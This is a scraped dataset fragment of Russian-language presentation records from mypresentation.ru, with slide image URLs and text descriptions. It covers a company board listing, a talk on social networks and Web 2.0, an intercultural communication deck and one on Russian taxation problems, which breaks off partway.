"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img8.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img9.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img10.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img11.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img12.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img13.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img14.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img15.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img16.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img17.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img18.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №19"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img19.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №20"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img20.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №21"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img21.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №22"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img22.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №23"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img23.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №24"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img24.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №25"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img25.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №26"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img26.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №27"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img27.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №28"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img28.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №29"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img29.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №30"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img30.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №31"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img31.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №32"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img32.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №33"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img33.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №34"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img34.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №35"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img35.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №36"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img36.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №37"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img37.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №38"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img38.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №39"
},
{
"slide_number": "40",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img39.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №40"
},
{
"slide_number": "41",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img40.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №41"
},
{
"slide_number": "42",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img41.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №42"
},
{
"slide_number": "43",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img42.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №43"
},
{
"slide_number": "44",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img43.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №44"
},
{
"slide_number": "45",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img44.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №45"
},
{
"slide_number": "46",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img45.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №46"
},
{
"slide_number": "47",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img46.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №47"
},
{
"slide_number": "48",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img47.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №48"
},
{
"slide_number": "49",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img48.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №49"
},
{
"slide_number": "50",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img49.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №50"
},
{
"slide_number": "51",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img50.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №51"
},
{
"slide_number": "52",
"image": "https://mypresentation.ru/documents/66d27e00824fec3e3674756b436f7a8e/img51.jpg",
"description": "Oрганизация Компании Общая информация: Chairman : Fabio Galdi Board Member : Henry Yeo Board Member : Alfonso Galdi Board Member : Alessandro Piscopo Регистрационный. - презентация, слайд №52"
}
] |
https://mypresentation.ru/presentation/99648 | СОЦИАЛЬНЫЕ СЕТИ КАК ИНСТРУМЕНТ. РАЗВИТИЕ ГРАЖДАНСКОГО ОБЩЕСТВА И ВОСПИТАНИЕ СОЦИАЛЬНОЙ ОТВЕТСТВЕННОСТИ ПРИ ПОМОЩИ ВЕБ 2.0 В ЭПОХУ | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img0.jpg",
"description": "СОЦИАЛЬНЫЕ СЕТИ КАК ИНСТРУМЕНТ. РАЗВИТИЕ ГРАЖДАНСКОГО ОБЩЕСТВА И ВОСПИТАНИЕ СОЦИАЛЬНОЙ ОТВЕТСТВЕННОСТИ ПРИ ПОМОЩИ ВЕБ 2.0 В ЭПОХУ WEB 2.0.11 НАТАЛЬЯ ПРАЧУК HTTP://WWW.FACEBOOK.COM/NATALYA.PRACHUK"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img1.jpg",
"description": "О ГЛОБАЛЬНОЙ СОЦИАЛИЗАЦИИ СЕТИ В ЭПОХУ WEB 2.0 - КАК МЫ ДОШЛИ ДО ЖИЗНИ ТАКОЙ? … Сайты / Электронная почта / Поисковые системы / Чаты / Форумы / Аська / Блоги… Изначально свободное общение пользователей в Сети вовсе не было самоцелью? … Формы обратной связи / Гостевые книги / Комментарии / Социальные Сети…"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img2.jpg",
"description": "«СОЦИАЛЬНАЯ СЕТЬ» В 30-е годы в Америке исследовались взаимосвязи между людьми с помощью социограмм - визуальных диаграмм, в которых отдельные лица представлены в виде точек, а связи между ними - в виде линий… Термин был введён в 1954 году социологом из «Манчестерской школы» Джеймсом Барнсом"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img3.jpg",
"description": "КОГДА «ПЕРВЫЙ» - НЕ ЗНАЧИТ «ЛУЧШИЙ» Classmates.com Год основания - 1995. Место - Рентон, США Когда вам переваливает за тридцать пять, - говорил СЕО-менеджер проекта Майкл Шутцлер, - вы смотрите в зеркало заднего вида своей жизни, и однажды в голове у вас возникает мысль: “Боже мой, как я здесь оказался? И как там Гарри? Я не разговаривал с ним 25 лет” Решить проблему «взгляда в зеркало заднего вида» - главная цель сети, название которой на русский переводится как «Одноклассники»…"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img4.jpg",
"description": "О СОЦ.СЕТЯХ ВООБЩЕ - НЕМНОГО ИСТОРИИ, ЧУТЬ-ЧУТЬ СТАТИСТИКИ…"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img5.jpg",
"description": "У «TWITTER» - 100 МИЛЛИОНОВ АКТИВНЫХ ПОЛЬЗОВАТЕЛЕЙ 100 000 000 пользователей проявляют активность хотя бы 1 раз в месяц, из них 50 000 000 – ЕЖЕДНЕВНО 55% пользователей использует TWI с мобильных гаджетов 42% пользователей ничего не пишут – только читают ежедневно отправляется 230 000 000 твиттов в твиттере представлены 82% конгрессменов США и 85% сенаторов"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img6.jpg",
"description": "… И РЯД ОТВЕТОВ НА ФУНДАМЕНТАЛЬНЫЙ ВОПРОС: «КОМУ И ЗАЧЕМ ЭТО МОЖЕТ БЫТЬ НУЖНО?» БРЕНДЫ ПОЛИТИКИ Я…"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img7.jpg",
"description": "О СОЦ.СЕТЯХ ИЗНУТРИ – КАК ИХ ИСПОЛЬЗУЕМ МЫ И КАК ОНИ ИСПОЛЬЗУЮТ НАС?"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img8.jpg",
"description": "О СОЦ.СЕТЯХ В ЧАСТНОСТИ – СРАВНИТЕЛЬНЫЕ ХАРАКТЕРИСТИКИ ИНСТРУМЕНТАРИЯ"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img9.jpg",
"description": "НОВЫЕ МЕДИА: СОБСТВЕННЫЕ, ЗАИМСТВУЕМЫЕ И ОСВОЕННЫЕ"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img10.jpg",
"description": "О СОЦИАЛЬНОЙ ОТВЕТСТВЕННОСТИ, ИЛИ КОГДА СЕТЬ СИЛЬНЕЕ МЧС"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img11.jpg",
"description": "«И ПУСТЬ МЕНЯ ВСЕ ФОЛЛОВЯТ…» Задавайте вопросы своим друзьям и/или последователям, будьте открыты для потенциальных подписчиков Сами предлагайте дружбу и поясняйте, чем Вас заинтересовал именно этот человек Системно взаимодействуйте со своими подписчиками и интересующими Вас пользователями Публикуйте на стене персонализированные медиа-файлы, опросы и другие нестандартные сообщения Публикуйте анонсы и отзывы о событиях, которые Вам максимально интересны и/или имеют непосредственное отношение к Вашему региону Публикуйте эмоциональный контент Публикуйте релевантные ссылки и сопровождайте их персонализированными авторскими комментариями Будьте понятны, пишите сообщения и комментарии четко и ясно"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img12.jpg",
"description": "ЧЕГО НАМ ЖДАТЬ ОТ WEB 3.0 «Web 3.0 - высококачественный контент и сервисы, которые создаются талантливыми профессионалами на технологической платформе Web 2.0» (с) Джейсон Калаканис, 10.03.2007 (Netscape.com, Weblogs)"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/98749ccb8f44dba1647c244d561112ee/img13.jpg",
"description": "ПОГОВОРИМ ОБ ЭТОМ? Всем, кто захочет поговорить как-нибудь потом: http://www.facebook.com/natalya.prachuk [email protected] +38 067 522 68 88"
}
] |
https://mypresentation.ru/presentation/99649 | Межкультурные вызовы – понимать партнеров и учиться | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img0.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img1.jpg",
"description": "Межкультурные вызовы?"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img2.jpg",
"description": "Межкультурные вызовы?"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img3.jpg",
"description": "Межкультурные вызовы?"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img4.jpg",
"description": "Межкультурные вызовы?"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img5.jpg",
"description": "Межкультурные вызовы?"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img6.jpg",
"description": "Межкультурные вызовы?"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img7.jpg",
"description": "Межкультурные вызовы?"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img8.jpg",
"description": "Межкультурные вызовы?"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img9.jpg",
"description": "Межкультурные вызовы?"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img10.jpg",
"description": "Коммуникация – проблем нет?"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img11.jpg",
"description": "Мы (почти) все знаем ..."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img12.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img13.jpg",
"description": "What goes wrong?"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img14.jpg",
"description": "Должны ли мы с этим примирится?"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img15.jpg",
"description": "Востребована активность"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img16.jpg",
"description": "Аспекты ИКК"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img17.jpg",
"description": "ИКК и бизнес-этика"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img18.jpg",
"description": "Различия?"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img19.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №20"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img20.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №21"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img21.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №22"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img22.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №23"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img23.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №24"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img24.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №25"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img25.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №26"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img26.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №27"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img27.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №28"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img28.jpg",
"description": "А почему?"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img29.jpg",
"description": "А почему?"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img30.jpg",
"description": "Можно ли изучать ИКК?"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img31.jpg",
"description": "Когда с этим начинать?"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img32.jpg",
"description": "А как?"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img33.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №34"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img34.jpg",
"description": "«Хотели как лучше, а получилось как всегда» ?"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img35.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №36"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/95e7b6932aa8b35e836fbf2394ba5d2f/img36.jpg",
"description": "Межкультурные вызовы – понимать партнеров и учиться, слайд №37"
}
] |
https://mypresentation.ru/presentation/9964 | Проблемы налогообложения в Российской Федерации | Экономика и Финансы | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img0.jpg",
"description": "Проблемы налогообложения в Российской Федерации"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img1.jpg",
"description": "Налоговая система - один из главных элементов рыночной экономики. Она выступает «главным инструментом воздействия государства на развитие хозяйства, определения приоритетов социального и экономического развития». Поэтому необходимо, чтобы налоговая система России соответствовала новым общественным отношениям, соответствовала мировому опыту. Налоговая система - один из главных элементов рыночной экономики. Она выступает «главным инструментом воздействия государства на развитие хозяйства, определения приоритетов социального и экономического развития». Поэтому необходимо, чтобы налоговая система России соответствовала новым общественным отношениям, соответствовала мировому опыту."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img2.jpg",
"description": "В настоящее время налогоплательщики вполне обоснованно жалуются на нестабильность российских налогов, постоянную смену их видов, ставок, порядка уплаты, налоговых льгот из-за чего возникают значительные трудности в организации производства и предпринимательства, в анализе и прогнозировании финансовой ситуации, определении перспектив, исчисления бюджетных платежей. В настоящее время налогоплательщики вполне обоснованно жалуются на нестабильность российских налогов, постоянную смену их видов, ставок, порядка уплаты, налоговых льгот из-за чего возникают значительные трудности в организации производства и предпринимательства, в анализе и прогнозировании финансовой ситуации, определении перспектив, исчисления бюджетных платежей."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img3.jpg",
"description": "Основные недостатки состоят: в излишней уплотненности; в запутанности; в наличии большого количества льгот для различных категорий плательщиков, не стимулирующих рост эффективности производства; в ускорении научно-технического прогресса; во внедрении перспективных технологий или увеличение выпуска товаров народного потребления."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img4.jpg",
"description": "Действующее законодательство фактически закрыто по отношению к мировому, не стимулирует привлечение в народное хозяйство иностранных инвестиций. Мировой опыт свидетельствует, что налоговое законодательство постоянно изменяется, приспосабливается к воспроизводственным Действующее законодательство фактически закрыто по отношению к мировому, не стимулирует привлечение в народное хозяйство иностранных инвестиций. Мировой опыт свидетельствует, что налоговое законодательство постоянно изменяется, приспосабливается к воспроизводственным процессам, рынку."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img5.jpg",
"description": "Нестабильность налоговой системы на сегодняшний день - главная проблема реформы налогообложения. Нестабильность налоговой системы на сегодняшний день - главная проблема реформы налогообложения. Несмотря на многочисленные изменения и уточнения налогового законодательства, в России имеется ряд нерешенных проблем. Наиболее серьезные из них – это низкий уровень собираемости налогов и высокая неплатежеспособность предприятий. Основная причина этого - несоблюдение налоговых правил предприятиями и гражданами."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/0cb35c52dd8c378b2a04ef9ad87613db/img6.jpg",
"description": "Система сбора налогов имеет много недостатков: привилегии и неравные условия для предприятий, несовершенное законодательство и неоднозначные подходы при его применении. Неосведомленность населения о налоговом законодательстве и неоднозначность подходов приводит к нарушению законов Система сбора налогов имеет много недостатков: привилегии и неравные условия для предприятий, несовершенное законодательство и неоднозначные подходы при его применении. Неосведомленность населения о налоговом законодательстве и неоднозначность подходов приводит к нарушению законов"
},
{
"slide_number": "8",
